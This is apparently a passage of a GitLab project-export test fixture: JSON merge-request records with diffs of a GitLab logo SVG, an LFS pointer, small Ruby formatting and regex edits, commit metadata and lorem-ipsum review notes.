M45.2315622,113.963713 C28.208506,113.963713 19.0449295,102.384849 19.0449295,102.384849 L19.0449295,120.67143 L18.9844362,144.908535 L10.3967097,144.908535 L0.371103324,144.908535 L0.431596656,6.62629771 C9.73826309,2.73100702 22.5081728,0.567602823 36.3611458,0.567602823 C71.8579349,0.567602823 88.9566078,23.2891625 88.9566078,62.4584098 C88.9566078,93.4043948 73.1527248,113.963713 45.2315622,113.963713\" id=\"path30\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g32\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(509.576747, 125.294950)\">\n+ <path d=\"M68.636665,129.10638 C85.5189579,129.10638 96.3414476,123.480366 103.484314,117.853189 L111.669527,132.029302 C100.513161,141.811145 85.5073245,147.06845 69.5021849,147.06845 C29.0274926,147.06845 0.673569983,122.3975 0.673569983,72.6252464 C0.673569983,20.4709215 31.2622559,0.12910638 66.2553217,0.12910638 C83.7879179,0.12910638 98.7227909,4.24073748 108.462217,8.35236859 L108.063194,64.0763105 L108.063194,70.6502677 L108.063194,81.6057001 L56.1168719,81.6057001 L56.1168719,64.0763105 L89.2323178,64.0763105 L89.6313411,21.7701271 C85.3025779,19.6055598 77.7269514,17.8748364 67.554765,17.8748364 C39.4172223,17.8748364 20.5863462,35.5717154 20.5863462,72.8415868 C20.5863462,110.711628 40.0663623,129.10638 68.636665,129.10638\" id=\"path34\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g36\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(692.388992, 124.376085)\">\n+ <path d=\"M19.7766662,145.390067 L1.16216997,145.390067 L1.2226633,121.585642 L1.2226633,111.846834 L1.2226633,106.170806 L1.2226633,96.2656714 L1.2226633,39.5681976 L1.2226633,39.3518572 C1.2226633,16.4127939 11.1796331,1.04797161 39.5335557,1.04797161 C43.4504989,1.04797161 47.2836822,1.40388649 51.0051854,2.07965952 L51.0051854,18.7925385 C48.3109055,18.3796307 45.4351455,18.1446804 42.3476589,18.1446804 C26.763646,18.1446804 19.8371595,26.1516022 19.8371595,39.5681976 L19.8371595,96.2656714 L51.0051854,96.2656714 L51.0051854,111.846834 L19.8371595,111.846834 L19.7766662,145.390067 L19.7766662,145.390067 Z\" id=\"path38\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <path d=\"M646.318899,128.021188 L664.933395,128.021188 L664.933395,236.223966 L646.318899,236.223966 L646.318899,128.021188 L646.318899,128.021188 Z\" id=\"path40\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ <path d=\"M646.318899,251.154944 L664.933395,251.154944 L664.933395,269.766036 L646.318899,269.766036 L646.318899,251.154944 L646.318899,251.154944 Z\" id=\"path42\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ <g id=\"g44\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(0.464170, 0.676006)\">\n+ <path d=\"M429.269989,169.815599 L405.225053,243.802859 L357.571431,390.440955 C355.120288,397.984955 344.444378,397.984955 341.992071,390.440955 L294.337286,243.802859 L136.094873,243.802859 L88.4389245,390.440955 C85.9877812,397.984955 75.3118715,397.984955 72.8595648,390.440955 L25.2059427,243.802859 L1.16216997,169.815599 C-1.03187664,163.067173 1.37156997,155.674379 7.11261982,151.503429 L215.215498,0.336141836 L423.319539,151.503429 C429.060589,155.674379 431.462873,163.067173 429.269989,169.815599\" id=\"path46\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g48\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(135.410135, 1.012147)\">\n+ <path d=\"M80.269998,0 L80.269998,0 L159.391786,243.466717 L1.14820997,243.466717 L80.269998,0 L80.269998,0 Z\" id=\"path50\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g52\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012147)\">\n+ <g id=\"path54\"></g>\n+ </g>\n+ <g id=\"g56\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(24.893471, 1.012613)\">\n+ <path d=\"M190.786662,0 L111.664874,243.465554 L0.777106647,243.465554 L190.786662,0 L190.786662,0 Z\" id=\"path58\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g60\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012613)\">\n+ <g id=\"path62\"></g>\n+ </g>\n+ <g id=\"g64\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(0.077245, 0.223203)\">\n+ <path d=\"M25.5933327,244.255313 L25.5933327,244.255313 L1.54839663,170.268052 C-0.644486651,163.519627 1.75779662,156.126833 7.50000981,151.957046 L215.602888,0.789758846 L25.5933327,244.255313 L25.5933327,244.255313 Z\" id=\"path66\" fill=\"#FCA326\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g68\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012147)\">\n+ <g id=\"path70\"></g>\n+ </g>\n+ <g id=\"g72\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(25.670578, 244.478283)\">\n+ <path d=\"M0,0 L110.887767,0 L63.2329818,146.638096 C60.7806751,154.183259 50.1047654,154.183259 47.6536221,146.638096 L0,0 L0,0 Z\" id=\"path74\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g76\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(215.680133, 1.012613)\">\n+ <path d=\"M0,0 L79.121788,243.465554 L190.009555,243.465554 L0,0 L0,0 Z\" id=\"path78\" fill=\"#FC6D26\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g80\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(214.902910, 0.223203)\">\n+ <path d=\"M190.786662,244.255313 L190.786662,244.255313 L214.831598,170.268052 C217.024481,163.519627 214.622198,156.126833 208.879985,151.957046 L0.777106647,0.789758846 L190.786662,244.255313 L190.786662,244.255313 Z\" id=\"path82\" fill=\"#FCA326\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g84\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(294.009575, 244.478283)\">\n+ <path d=\"M111.679997,0 L0.79222998,0 L48.4470155,146.638096 C50.8993221,154.183259 61.5752318,154.183259 64.0263751,146.638096 L111.679997,0 L111.679997,0 Z\" id=\"path86\" fill=\"#E24329\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+ </g>\n+</svg>\n\\ No newline at end of file\n","new_path":"files/images/wm.svg","old_path":"files/images/wm.svg","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":7,"utf8_diff":"--- /dev/null\n+++ b/files/lfs/lfs_object.iso\n@@ -0,0 +1,4 @@\n+version https://git-lfs.github.com/spec/v1\n+oid sha256:91eff75a492a3ed0dfcb544d7f31326bc4014c8551849c192fd1e48d4dd2c897\n+size 1575078\n+\n","new_path":"files/lfs/lfs_object.iso","old_path":"files/lfs/lfs_object.iso","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":8,"utf8_diff":"--- a/files/ruby/popen.rb\n+++ b/files/ruby/popen.rb\n@@ -6,12 +6,18 @@ module Popen\n \n def popen(cmd, path=nil)\n unless cmd.is_a?(Array)\n- raise \"System commands must be given as an array of strings\"\n+ raise RuntimeError, \"System commands must be given as an array of strings\"\n end\n \n path ||= Dir.pwd\n- vars = { \"PWD\" => path }\n- options = { chdir: path }\n+\n+ vars = {\n+ \"PWD\" => path\n+ }\n+\n+ options = {\n+ chdir: path\n+ }\n \n unless File.directory?(path)\n FileUtils.mkdir_p(path)\n@@ -19,6 +25,7 @@ module Popen\n \n @cmd_output = \"\"\n @cmd_status = 0\n+\n Open3.popen3(vars, *cmd, options) do |stdin, stdout, stderr, wait_thr|\n @cmd_output << stdout.read\n @cmd_output << stderr.read\n","new_path":"files/ruby/popen.rb","old_path":"files/ruby/popen.rb","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":9,"utf8_diff":"--- a/files/ruby/regex.rb\n+++ b/files/ruby/regex.rb\n@@ -19,14 +19,12 @@ module Gitlab\n end\n \n def archive_formats_regex\n- #|zip|tar| tar.gz | tar.bz2 |\n- /(zip|tar|tar\\.gz|tgz|gz|tar\\.bz2|tbz|tbz2|tb2|bz2)/\n+ /(zip|tar|7z|tar\\.gz|tgz|gz|tar\\.bz2|tbz|tbz2|tb2|bz2)/\n end\n \n def git_reference_regex\n # Valid git ref regex, see:\n # https://www.kernel.org/pub/software/scm/git/docs/git-check-ref-format.html\n-\n %r{\n (?!\n (?# doesn't begins with)\n","new_path":"files/ruby/regex.rb","old_path":"files/ruby/regex.rb","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":10,"utf8_diff":"--- /dev/null\n+++ b/files/whitespace\n@@ -0,0 +1 @@\n+test \n","new_path":"files/whitespace","old_path":"files/whitespace","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":11,"utf8_diff":"--- /dev/null\n+++ b/foo/bar/.gitkeep\n","new_path":"foo/bar/.gitkeep","old_path":"foo/bar/.gitkeep","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":12,"utf8_diff":"--- /dev/null\n+++ b/gitlab-grack\n@@ -0,0 +1 @@\n+Subproject commit 645f6c4c82fd3f5e06f67134450a570b795e55a6\n","new_path":"gitlab-grack","old_path":"gitlab-grack","a_mode":"0","b_mode":"160000","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":13,"utf8_diff":"--- /dev/null\n+++ b/gitlab-shell\n@@ -0,0 +1 @@\n+Subproject commit 79bceae69cb5750d6567b223597999bfa91cb3b9\n","new_path":"gitlab-shell","old_path":"gitlab-shell","a_mode":"0","b_mode":"160000","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":14,"relative_order":14,"utf8_diff":"--- /dev/null\n+++ b/test\n","new_path":"test","old_path":"test","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false}],"merge_request_id":14,"created_at":"2016-06-14T15:02:24.770Z","updated_at":"2016-06-14T15:02:25.007Z","base_commit_sha":"ae73cb07c9eeaf35924a10f713b364d32b2dd34f","real_size":"15"},"events":[{"id":224,"target_type":"MergeRequest","target_id":14,"project_id":36,"created_at":"2016-06-14T15:02:25.113Z","updated_at":"2016-06-14T15:02:25.113Z","action":1,"author_id":1},{"id":174,"target_type":"MergeRequest","target_id":14,"project_id":5,"created_at":"2016-06-14T15:02:25.113Z","updated_at":"2016-06-14T15:02:25.113Z","action":1,"author_id":20}]}
-{"id":13,"target_branch":"improve/awesome","source_branch":"test-8","source_project_id":5,"author_id":16,"assignee_id":25,"title":"Voluptates consequatur eius nemo amet libero animi illum delectus tempore.","created_at":"2016-06-14T15:02:24.415Z","updated_at":"2016-06-14T15:02:59.958Z","state":"opened","merge_status":"unchecked","target_project_id":5,"iid":5,"description":"Est eaque quasi qui qui. Similique voluptatem impedit iusto ratione reprehenderit. Itaque est illum ut nulla aut.","position":0,"updated_by_id":null,"merge_error":null,"merge_params":{"force_remove_source_branch":null},"merge_when_pipeline_succeeds":false,"merge_user_id":null,"merge_commit_sha":null,"notes":[{"id":793,"note":"In illum maxime aperiam nulla est aspernatur.","noteable_type":"MergeRequest","author_id":26,"created_at":"2016-06-14T15:02:59.782Z","updated_at":"2016-06-14T15:02:59.782Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":13,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 4"},"events":[{"merge_request_diff_id":14,"id":529,"target_type":"Note","target_id":793,"project_id":4,"created_at":"2016-07-07T14:35:12.128Z","updated_at":"2016-07-07T14:35:12.128Z","action":6,"author_id":1}]},{"id":794,"note":"Enim quia perferendis cum distinctio tenetur optio voluptas veniam.","noteable_type":"MergeRequest","author_id":25,"created_at":"2016-06-14T15:02:59.807Z","updated_at":"2016-06-14T15:02:59.807Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":13,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 3"},"events":[]},{"id":795,"note":"Dolor ad quia quis pariatur ducimus.","noteable_type":"MergeRequest","author_id":22,"created_at":"2016-06-14T15:02:59.831Z","updated_at":"2016-06-14T15:02:59.831Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":13,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"User 0"},"events":[]},{"id":796,"note":"Et a odio voluptate aut.","noteable_type":"MergeRequest","author_id":20,"created_at":"2016-06-14T15:02:59.854Z","updated_at":"2016-06-14T15:02:59.854Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":13,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ottis Schuster II"},"events":[]},{"id":797,"note":"Quis nihil temporibus voluptatum modi minima a ut.","noteable_type":"MergeRequest","author_id":16,"created_at":"2016-06-14T15:02:59.879Z","updated_at":"2016-06-14T15:02:59.879Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":13,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Rhett Emmerich IV"},"events":[]},{"id":798,"note":"Ut alias consequatur in nostrum.","noteable_type":"MergeRequest","author_id":15,"created_at":"2016-06-14T15:02:59.904Z","updated_at":"2016-06-14T15:02:59.904Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":13,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Burdette Bernier"},"events":[]},{"id":799,"note":"Voluptatibus aperiam assumenda et neque sint libero.","noteable_type":"MergeRequest","author_id":6,"created_at":"2016-06-14T15:02:59.926Z","updated_at":"2016-06-14T15:02:59.926Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":13,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Ari Wintheiser"},"events":[]},{"id":800,"note":"Veritatis voluptatem dolor dolores magni quo ut ipsa fuga.","noteable_type":"MergeRequest","author_id":1,"created_at":"2016-06-14T15:02:59.956Z","updated_at":"2016-06-14T15:02:59.956Z","project_id":5,"attachment":{"url":null},"line_code":null,"commit_id":null,"noteable_id":13,"system":false,"st_diff":null,"updated_by_id":null,"author":{"name":"Administrator"},"events":[]}],"merge_request_diff":{"id":13,"state":"collected","merge_request_diff_commits":[{"merge_request_diff_id":13,"relative_order":0,"sha":"0bfedc29d30280c7e8564e19f654584b459e5868","message":"fixes #10\n","authored_date":"2016-01-19T15:25:23.000+01:00","author_name":"James Lopez","author_email":"james@jameslopez.es","committed_date":"2016-01-19T15:25:23.000+01:00","committer_name":"James Lopez","committer_email":"james@jameslopez.es"},{"merge_request_diff_id":13,"relative_order":1,"sha":"be93687618e4b132087f430a4d8fc3a609c9b77c","message":"Merge branch 'master' into 'master'\r\n\r\nLFS object pointer.\r\n\r\n\r\n\r\nSee merge request !6","authored_date":"2015-12-07T12:52:12.000+01:00","author_name":"Marin Jankovski","author_email":"marin@gitlab.com","committed_date":"2015-12-07T12:52:12.000+01:00","committer_name":"Marin Jankovski","committer_email":"marin@gitlab.com"},{"merge_request_diff_id":13,"relative_order":2,"sha":"048721d90c449b244b7b4c53a9186b04330174ec","message":"LFS object pointer.\n","authored_date":"2015-12-07T11:54:28.000+01:00","author_name":"Marin Jankovski","author_email":"maxlazio@gmail.com","committed_date":"2015-12-07T11:54:28.000+01:00","committer_name":"Marin Jankovski","committer_email":"maxlazio@gmail.com"},{"merge_request_diff_id":13,"relative_order":3,"sha":"5f923865dde3436854e9ceb9cdb7815618d4e849","message":"GitLab currently doesn't support patches that involve a merge commit: add a commit here\n","authored_date":"2015-11-13T16:27:12.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T16:27:12.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":13,"relative_order":4,"sha":"d2d430676773caa88cdaf7c55944073b2fd5561a","message":"Merge branch 'add-svg' into 'master'\r\n\r\nAdd GitLab SVG\r\n\r\nAdded to test preview of sanitized SVG images\r\n\r\nSee merge request !5","authored_date":"2015-11-13T08:50:17.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T08:50:17.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":13,"relative_order":5,"sha":"2ea1f3dec713d940208fb5ce4a38765ecb5d3f73","message":"Add GitLab SVG\n","authored_date":"2015-11-13T08:39:43.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T08:39:43.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":13,"relative_order":6,"sha":"59e29889be61e6e0e5e223bfa9ac2721d31605b8","message":"Merge branch 'whitespace' into 'master'\r\n\r\nadd whitespace test file\r\n\r\nSorry, I did a mistake.\r\nGit ignore empty files.\r\nSo I add a new whitespace test file.\r\n\r\nSee merge request !4","authored_date":"2015-11-13T07:21:40.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T07:21:40.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":13,"relative_order":7,"sha":"66eceea0db202bb39c4e445e8ca28689645366c5","message":"add spaces in whitespace file\n","authored_date":"2015-11-13T06:01:27.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T06:01:27.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com"},{"merge_request_diff_id":13,"relative_order":8,"sha":"08f22f255f082689c0d7d39d19205085311542bc","message":"remove empty file.(beacase git ignore empty file)\nadd whitespace test file.\n","authored_date":"2015-11-13T06:00:16.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T06:00:16.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com"},{"merge_request_diff_id":13,"relative_order":9,"sha":"19e2e9b4ef76b422ce1154af39a91323ccc57434","message":"Merge branch 'whitespace' into 'master'\r\n\r\nadd spaces\r\n\r\nTo test this pull request.(https://github.com/gitlabhq/gitlabhq/pull/9757)\r\nJust add whitespaces.\r\n\r\nSee merge request !3","authored_date":"2015-11-13T05:23:14.000+01:00","author_name":"Stan Hu","author_email":"stanhu@gmail.com","committed_date":"2015-11-13T05:23:14.000+01:00","committer_name":"Stan Hu","committer_email":"stanhu@gmail.com"},{"merge_request_diff_id":13,"relative_order":10,"sha":"c642fe9b8b9f28f9225d7ea953fe14e74748d53b","message":"add whitespace in empty\n","authored_date":"2015-11-13T05:08:45.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T05:08:45.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com"},{"merge_request_diff_id":13,"relative_order":11,"sha":"9a944d90955aaf45f6d0c88f30e27f8d2c41cec0","message":"add empty file\n","authored_date":"2015-11-13T05:08:04.000+01:00","author_name":"윤민ì‹","author_email":"minsik.yoon@samsung.com","committed_date":"2015-11-13T05:08:04.000+01:00","committer_name":"윤민ì‹","committer_email":"minsik.yoon@samsung.com"},{"merge_request_diff_id":13,"relative_order":12,"sha":"c7fbe50c7c7419d9701eebe64b1fdacc3df5b9dd","message":"Add ISO-8859 test file\n","authored_date":"2015-08-25T17:53:12.000+02:00","author_name":"Stan Hu","author_email":"stanhu@packetzoom.com","committed_date":"2015-08-25T17:53:12.000+02:00","committer_name":"Stan Hu","committer_email":"stanhu@packetzoom.com"},{"merge_request_diff_id":13,"relative_order":13,"sha":"e56497bb5f03a90a51293fc6d516788730953899","message":"Merge branch 'tree_helper_spec' into 'master'\n\nAdd directory structure for tree_helper spec\n\nThis directory structure is needed for a testing the method flatten_tree(tree) in the TreeHelper module\n\nSee [merge request #275](https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/275#note_732774)\n\nSee merge request !2\n","authored_date":"2015-01-10T22:23:29.000+01:00","author_name":"Sytse Sijbrandij","author_email":"sytse@gitlab.com","committed_date":"2015-01-10T22:23:29.000+01:00","committer_name":"Sytse Sijbrandij","committer_email":"sytse@gitlab.com"},{"merge_request_diff_id":13,"relative_order":14,"sha":"4cd80ccab63c82b4bad16faa5193fbd2aa06df40","message":"add directory structure for tree_helper spec\n","authored_date":"2015-01-10T21:28:18.000+01:00","author_name":"marmis85","author_email":"marmis85@gmail.com","committed_date":"2015-01-10T21:28:18.000+01:00","committer_name":"marmis85","committer_email":"marmis85@gmail.com"}],"merge_request_diff_files":[{"merge_request_diff_id":13,"relative_order":0,"utf8_diff":"--- a/CHANGELOG\n+++ b/CHANGELOG\n@@ -1,4 +1,6 @@\n-v 6.7.0\n+v6.8.0\n+\n+v6.7.0\n - Add support for Gemnasium as a Project Service (Olivier Gonzalez)\n - Add edit file button to MergeRequest diff\n - Public groups (Jason Hollingsworth)\n","new_path":"CHANGELOG","old_path":"CHANGELOG","a_mode":"100644","b_mode":"100644","new_file":false,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":13,"relative_order":1,"utf8_diff":"--- /dev/null\n+++ b/encoding/iso8859.txt\n@@ -0,0 +1 @@\n+Äü\n","new_path":"encoding/iso8859.txt","old_path":"encoding/iso8859.txt","a_mode":"0","b_mode":"100644","new_file":true,"renamed_file":false,"deleted_file":false,"too_large":false},{"merge_request_diff_id":13,"relative_order":2,"utf8_diff":"--- /dev/null\n+++ b/files/images/wm.svg\n@@ -0,0 +1,78 @@\n+<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n+<svg width=\"1300px\" height=\"680px\" viewBox=\"0 0 1300 680\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xmlns:sketch=\"http://www.bohemiancoding.com/sketch/ns\">\n+ <!-- Generator: Sketch 3.2.2 (9983) - http://www.bohemiancoding.com/sketch -->\n+ <title>wm</title>\n+ <desc>Created with Sketch.</desc>\n+ <defs>\n+ <path id=\"path-1\" d=\"M-69.8,1023.54607 L1675.19996,1023.54607 L1675.19996,0 L-69.8,0 L-69.8,1023.54607 L-69.8,1023.54607 Z\"></path>\n+ </defs>\n+ <g id=\"Page-1\" stroke=\"none\" stroke-width=\"1\" fill=\"none\" fill-rule=\"evenodd\" sketch:type=\"MSPage\">\n+ <path d=\"M1300,680 L0,680 L0,0 L1300,0 L1300,680 L1300,680 Z\" id=\"bg\" fill=\"#30353E\" sketch:type=\"MSShapeGroup\"></path>\n+ <g id=\"gitlab_logo\" sketch:type=\"MSLayerGroup\" transform=\"translate(-262.000000, -172.000000)\">\n+ <g id=\"g10\" transform=\"translate(872.500000, 512.354581) scale(1, -1) translate(-872.500000, -512.354581) translate(0.000000, 0.290751)\">\n+ <g id=\"g12\" transform=\"translate(1218.022652, 440.744871)\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\">\n+ <path d=\"M-50.0233338,141.900706 L-69.07059,141.900706 L-69.0100967,0.155858152 L8.04444805,0.155858152 L8.04444805,17.6840847 L-49.9628405,17.6840847 L-50.0233338,141.900706 L-50.0233338,141.900706 Z\" id=\"path14\"></path>\n+ </g>\n+ <g id=\"g16\">\n+ <g id=\"g18-Clipped\">\n+ <mask id=\"mask-2\" sketch:name=\"path22\" fill=\"white\">\n+ <use xlink:href=\"#path-1\"></use>\n+ </mask>\n+ <g id=\"path22\"></g>\n+ <g id=\"g18\" mask=\"url(#mask-2)\">\n+ <g transform=\"translate(382.736659, 312.879425)\">\n+ <g id=\"g24\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(852.718192, 124.992771)\">\n+ <path d=\"M63.9833317,27.9148929 C59.2218085,22.9379001 51.2134221,17.9597442 40.3909323,17.9597442 C25.8888194,17.9597442 20.0453962,25.1013043 20.0453962,34.4074318 C20.0453962,48.4730484 29.7848226,55.1819277 50.5642821,55.1819277 C54.4602853,55.1819277 60.7364685,54.7492469 63.9833317,54.1002256 L63.9833317,27.9148929 L63.9833317,27.9148929 Z M44.2869356,113.827628 C28.9053426,113.827628 14.7975996,108.376082 3.78897657,99.301416 L10.5211864,87.6422957 C18.3131929,92.1866076 27.8374026,96.7320827 41.4728323,96.7320827 C57.0568452,96.7320827 63.9833317,88.7239978 63.9833317,75.3074024 L63.9833317,68.3821827 C60.9528485,69.0312039 54.6766653,69.4650479 50.7806621,69.4650479 C17.4476729,69.4650479 0.565379986,57.7791759 0.565379986,33.3245665 C0.565379986,11.4683685 13.9844297,0.43151772 34.3299658,0.43151772 C48.0351955,0.43151772 61.1692285,6.70771614 65.7143717,16.8780421 L69.1776149,3.02876588 L82.5978279,3.02876588 L82.5978279,75.5237428 C82.5978279,98.462806 72.6408582,113.827628 44.2869356,113.827628 L44.2869356,113.827628 Z\" id=\"path26\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g28\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(959.546624, 124.857151)\">\n+ <path d=\"M37.2266657,17.4468081 C30.0837992,17.4468081 23.8064527,18.3121698 19.0449295,20.4767371 L19.0449295,79.2306079 L19.0449295,86.0464943 C25.538656,91.457331 33.5470425,95.3526217 43.7203922,95.3526217 C62.1173451,95.3526217 69.2602116,82.3687072 69.2602116,61.3767077 C69.2602116,31.5135879 57.7885819,17.4468081 37.2266657,17.4468081 M45.2315622,113.963713 C28.208506,113.963713 19.0449295,102.384849 19.0449295,102.384849 L19.0449295,120.67143 L18.9844362,144.908535 L10.3967097,144.908535 L0.371103324,144.908535 L0.431596656,6.62629771 C9.73826309,2.73100702 22.5081728,0.567602823 36.3611458,0.567602823 C71.8579349,0.567602823 88.9566078,23.2891625 88.9566078,62.4584098 C88.9566078,93.4043948 73.1527248,113.963713 45.2315622,113.963713\" id=\"path30\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g32\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(509.576747, 125.294950)\">\n+ <path d=\"M68.636665,129.10638 C85.5189579,129.10638 96.3414476,123.480366 103.484314,117.853189 L111.669527,132.029302 C100.513161,141.811145 85.5073245,147.06845 69.5021849,147.06845 C29.0274926,147.06845 0.673569983,122.3975 0.673569983,72.6252464 C0.673569983,20.4709215 31.2622559,0.12910638 66.2553217,0.12910638 C83.7879179,0.12910638 98.7227909,4.24073748 108.462217,8.35236859 L108.063194,64.0763105 L108.063194,70.6502677 L108.063194,81.6057001 L56.1168719,81.6057001 L56.1168719,64.0763105 L89.2323178,64.0763105 L89.6313411,21.7701271 C85.3025779,19.6055598 77.7269514,17.8748364 67.554765,17.8748364 C39.4172223,17.8748364 20.5863462,35.5717154 20.5863462,72.8415868 C20.5863462,110.711628 40.0663623,129.10638 68.636665,129.10638\" id=\"path34\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <g id=\"g36\" stroke-width=\"1\" fill=\"none\" sketch:type=\"MSLayerGroup\" transform=\"translate(692.388992, 124.376085)\">\n+ <path d=\"M19.7766662,145.390067 L1.16216997,145.390067 L1.2226633,121.585642 L1.2226633,111.846834 L1.2226633,106.170806 L1.2226633,96.2656714 L1.2226633,39.5681976 L1.2226633,39.3518572 C1.2226633,16.4127939 11.1796331,1.04797161 39.5335557,1.04797161 C43.4504989,1.04797161 47.2836822,1.40388649 51.0051854,2.07965952 L51.0051854,18.7925385 C48.3109055,18.3796307 45.4351455,18.1446804 42.3476589,18.1446804 C26.763646,18.1446804 19.8371595,26.1516022 19.8371595,39.5681976 L19.8371595,96.2656714 L51.0051854,96.2656714 L51.0051854,111.846834 L19.8371595,111.846834 L19.7766662,145.390067 L19.7766662,145.390067 Z\" id=\"path38\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ </g>\n+ <path d=\"M646.318899,128.021188 L664.933395,128.021188 L664.933395,236.223966 L646.318899,236.223966 L646.318899,128.021188 L646.318899,128.021188 Z\" id=\"path40\" fill=\"#8C929D\" sketch:type=\"MSShapeGroup\"></path>\n+ <path d=\"M646.318899,251.154944 L664.933395,251.154944 L664.933395,269.766036 L646.318899,269.766036 L646.318899,251.154944 L646.318899,251.154944 Z\" id=\"path42\" 